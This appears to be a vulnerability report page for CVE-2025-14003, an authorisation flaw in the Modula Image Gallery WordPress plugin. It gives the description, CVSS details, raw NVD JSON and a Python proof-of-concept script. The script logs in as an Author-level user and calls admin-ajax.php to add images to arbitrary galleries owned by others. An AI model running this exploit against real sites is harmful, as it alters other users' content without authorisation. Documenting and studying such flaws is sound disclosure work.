Security Vulnerability Report
中文
CVE-2025-14003 CVSS 4.3 MEDIUM

CVE-2025-14003

Published: 2025-12-15 15:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `add_images_to_gallery_callback()` function in all versions up to, and including, 2.13.3. This makes it possible for authenticated attackers, with Author-level access and above, to add images to arbitrary Modula galleries owned by other users.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Modula Image Gallery 插件 < 2.13.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14003 PoC - Modula Gallery IDOR Vulnerability # Target: WordPress site with Modula plugin < 2.13.4 # Author role or higher required def add_image_to_gallery(target_url, username, password, gallery_id, image_url): """ Exploit IDOR vulnerability to add image to arbitrary Modula gallery Args: target_url: Target WordPress site URL username: WordPress username with Author+ role password: User password gallery_id: Target gallery ID to inject image into image_url: URL of image to add to gallery """ # WordPress login to get authentication cookies login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") login_response = session.post(login_url, data=login_data, verify=False) if 'wordpress_logged_in' not in str(session.cookies.get_dict()): print("[-] Login failed!") return False print("[+] Login successful!") # Exploit IDOR vulnerability ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'add_images_to_gallery_callback', 'gallery_id': gallery_id, # Arbitrary gallery ID (IDOR) 'image_url': image_url } print(f"[*] Exploiting IDOR vulnerability on gallery_id={gallery_id}...") exploit_response = session.post(ajax_url, data=exploit_data, verify=False) if exploit_response.status_code == 200: print("[+] Exploit sent! Image may have been added to target gallery.") print(f"[*] Response: {exploit_response.text}") return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-14003.py <target_url> <username> <password> <gallery_id> <image_url>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] gid = sys.argv[4] img = sys.argv[5] add_image_to_gallery(target, user, pwd, gid, img)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14003", "sourceIdentifier": "[email protected]", "published": "2025-12-15T15:15:48.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `add_images_to_gallery_callback()` function in all versions up to, and including, 2.13.3. This makes it possible for authenticated attackers, with Author-level access and above, to add images to arbitrary Modula galleries owned by other users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3414176/modula-best-grid-gallery", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4490afba-1487-40a4-99c6-c753acb10df3?source=cve", "source": "[email protected]"}]}}